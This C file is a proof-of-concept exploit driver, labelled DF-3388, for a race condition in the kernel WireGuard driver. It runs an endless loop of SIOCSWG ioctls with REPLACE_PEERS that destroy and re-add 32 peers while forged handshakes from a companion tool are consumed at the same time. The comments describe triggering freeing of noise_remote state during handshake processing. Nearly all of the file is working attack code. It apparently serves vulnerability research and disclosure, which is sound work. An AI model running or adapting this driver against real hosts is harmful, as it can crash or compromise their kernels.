/*
 * DF-3388 PoC - wg peer churn driver.
 *
 * Repeatedly issues SIOCSWG on wg0 with WG_INTERFACE_REPLACE_PEERS,
 * which makes the kernel run wg_peer_destroy_all() -> wg_peer_destroy()
 * for every configured peer and immediately re-add them.  Each destroy
 * runs noise_remote_disable() ... noise_remote_free() (handshake_clear,
 * keypairs_clear, put) while the forged handshakes from wgforge(8)
 * are being consumed concurrently by the wg handshake taskqueue.
 *
 * Run as root.
 */
#include <sys/types.h>
#include <sys/endian.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <time.h>
#include <crypto/curve25519/curve25519.h>

/* minimal copies of sys/net/wg/if_wg.h definitions */
#define WG_KEY_SIZE 32
#define SIOCSWG _IOWR('i', 210, struct wg_data_io)

struct wg_aip_io {
	sa_family_t	 a_af;
	int		 a_cidr;
	union {
		struct in_addr	addr_ipv4;
		struct in6_addr	addr_ipv6;
	} a_addr;
};

struct wg_peer_io {
	int			p_flags;
	uint8_t			p_public[WG_KEY_SIZE];
	uint8_t			p_psk[WG_KEY_SIZE];
	uint16_t		p_pka;
	union {
		struct sockaddr		sa_sa;
		struct sockaddr_in	sa_sin;
		struct sockaddr_in6	sa_sin6;
	} p_endpoint;
	uint64_t		p_txbytes;
	uint64_t		p_rxbytes;
	struct timespec	p_last_handshake;
	uint64_t		p_id;
	char		p_description[64];
	size_t			p_aips_count;
	struct wg_aip_io	p_aips[];
};

#define WG_PEER_HAS_PUBLIC	(1 << 0)
#define WG_PEER_REPLACE_AIPS	(1 << 4)

struct wg_interface_io {
	int			i_flags;
	in_port_t		i_port;
	uint32_t		i_cookie;
	uint8_t			i_public[WG_KEY_SIZE];
	uint8_t			i_private[WG_KEY_SIZE];
	size_t			i_peers_count;
	struct wg_peer_io	i_peers[];
};

#define WG_INTERFACE_HAS_PUBLIC		(1 << 0)
#define WG_INTERFACE_HAS_PRIVATE	(1 << 1)
#define WG_INTERFACE_HAS_PORT		(1 << 2)
#define WG_INTERFACE_REPLACE_PEERS	(1 << 4)

struct wg_data_io {
	char			 wgd_name[IFNAMSIZ];
	size_t			 wgd_size;
	struct wg_interface_io	*wgd_interface;
};

#define NPEERS	32

static uint8_t priv0[WG_KEY_SIZE];
static uint8_t pubs[NPEERS][WG_KEY_SIZE];

static int
wg_set(int s, struct wg_interface_io *iface, size_t size)
{
	struct wg_data_io data;

	memset(&data, 0, sizeof(data));
	strlcpy(data.wgd_name, "wg0", sizeof(data.wgd_name));
	data.wgd_size = size;
	data.wgd_interface = iface;
	return ioctl(s, SIOCSWG, &data);
}

int
main(int argc, char **argv)
{
	const char *keyfile = argc > 1 ? argv[1] : "/tmp/wgkeys.bin";
	uint64_t cycles = 0;
	FILE *f;
	int s, i, first = 1;
	time_t last;

	f = fopen(keyfile, "rb");
	if (f == NULL) {
		perror("keyfile");
		return 1;
	}
	/* skip responder public */
	fseek(f, 32, SEEK_CUR);
	if (fread(priv0, 32, 1, f) != 1) {
		fprintf(stderr, "short keyfile (priv0)\n");
		return 1;
	}
	for (i = 0; i < NPEERS; i++) {
		uint8_t raw[32], base[32] = { 9 };
		if (fread(raw, 32, 1, f) != 1) {
			fprintf(stderr, "short keyfile (key %d)\n", i);
			return 1;
		}
		/* derive the peer's public key from its private key */
		raw[0] &= 248; raw[31] &= 127; raw[31] |= 64;
		curve25519(pubs[i], raw, base);
	}
	fclose(f);

	/* priv0 must be clamped the same way the kernel clamps it */
	priv0[0] &= 248;
	priv0[31] &= 127;
	priv0[31] |= 64;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) {
		perror("socket");
		return 1;
	}

	/*
	 * ioctl buffer: interface header + NPEERS peers, each with 1 aip.
	 * Use REPLACE_PEERS every cycle: kernel destroys all peers then
	 * re-adds them (see wg_ioctl_set, sys/net/wg/if_wg.c).
	 */
	{
		size_t bsize = sizeof(struct wg_interface_io) +
		    NPEERS * (sizeof(struct wg_peer_io) + sizeof(struct wg_aip_io));
		uint8_t *buf = malloc(bsize);
		struct wg_interface_io *iface = (struct wg_interface_io *)buf;

		last = time(NULL);
		for (;;) {
			size_t off;
			struct wg_peer_io *p;

			memset(buf, 0, bsize);
			iface->i_flags = WG_INTERFACE_REPLACE_PEERS;
			if (first) {
				/* private key must be the RAW (unclamped) key
				 * as generated; kernel clamps it itself.
				 * We stored the raw key in the keyfile for
				 * priv0; regenerate raw by un-clamping is
				 * not possible, so the keyfile stores raw. */
				iface->i_flags |= WG_INTERFACE_HAS_PRIVATE |
				    WG_INTERFACE_HAS_PORT;
				iface->i_port = 51820;	/* host order; kernel htons()s it */
				memcpy(iface->i_private, priv0, WG_KEY_SIZE);
				first = 0;
			}
			iface->i_peers_count = NPEERS;

			off = sizeof(struct wg_interface_io);
			for (i = 0; i < NPEERS; i++) {
				p = (struct wg_peer_io *)(buf + off);
				p->p_flags = WG_PEER_HAS_PUBLIC |
				    WG_PEER_REPLACE_AIPS;
				memcpy(p->p_public, pubs[i], WG_KEY_SIZE);
				p->p_aips_count = 1;
				off += sizeof(struct wg_peer_io);
				{
					struct wg_aip_io *a = (struct wg_aip_io *)(buf + off);
					a->a_af = AF_INET;
					a->a_cidr = 32;
					a->a_addr.addr_ipv4.s_addr =
					    htonl(0x0a000000u + (i << 8) + 1);
					off += sizeof(struct wg_aip_io);
				}
			}

			if (wg_set(s, iface, bsize) != 0) {
				perror("SIOCSWG");
				return 1;
			}
			cycles++;
			if (time(NULL) != last) {
				last = time(NULL);
				printf("cycles=%llu\n",
				    (unsigned long long)cycles);
				fflush(stdout);
			}
		}
	}
}